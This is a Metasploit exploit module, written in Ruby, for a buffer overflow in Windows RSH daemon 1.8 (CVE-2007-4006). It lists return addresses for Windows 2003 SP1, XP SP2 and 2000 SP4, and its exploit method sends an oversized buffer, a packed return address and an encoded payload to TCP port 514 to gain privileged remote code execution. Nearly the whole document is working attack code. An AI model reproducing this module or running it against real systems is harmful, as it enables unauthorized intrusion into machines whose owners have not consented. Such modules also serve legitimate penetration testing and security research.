72 lines
2.0 KiB
Ruby
72 lines
2.0 KiB
Ruby
##
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# This module requires Metasploit: http://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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require 'msf/core'
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class MetasploitModule < Msf::Exploit::Remote
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Rank = AverageRanking
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include Msf::Exploit::Remote::Tcp
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'Windows RSH Daemon Buffer Overflow',
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'Description' => %q{
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This module exploits a vulnerabliltiy in Windows RSH daemon 1.8.
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The vulnerability is due to a failure to check for the length of input sent
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to the RSH server. A CPORT of 512 -> 1023 must be configured for the exploit
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to be successful.
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},
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'Author' => 'MC',
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'License' => MSF_LICENSE,
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'References' =>
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[
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['CVE', '2007-4006'],
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['OSVDB', '38572'],
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['BID', '25044'],
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],
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'DefaultOptions' =>
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{
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'EXITFUNC' => 'thread',
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'AllowWin32SEH' => true
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},
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'Payload' =>
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{
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'Space' => 850,
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'BadChars' => "\x00",
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'PrependEncoder' => "\x81\xc4\xff\xef\xff\xff\x44",
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'EncoderType' => Msf::Encoder::Type::AlphanumUpper,
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},
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'Platform' => 'win',
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'Targets' =>
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[
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[ 'Windows 2003 SP1 English', { 'Ret' => 0x77409dbb } ],
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[ 'Windows XP Pro SP2 English', { 'Ret' => 0x7e497c7b } ],
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[ 'Windows 2000 Pro SP4 English', { 'Ret' => 0x77f81be3 } ],
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],
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'Privileged' => true,
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'DisclosureDate' => 'Jul 24 2007',
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'DefaultTarget' => 0))
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register_options([Opt::RPORT(514)], self.class)
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end
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def exploit
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connect
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sploit = (("\x00" + rand_text_english(1)) * 2) + "\x00"
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sploit << rand_text_english(1024) + [target.ret].pack('V')
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sploit << payload.encoded
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print_status("Trying target #{target.name}...")
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sock.put(sploit)
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handler
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disconnect
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end
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end
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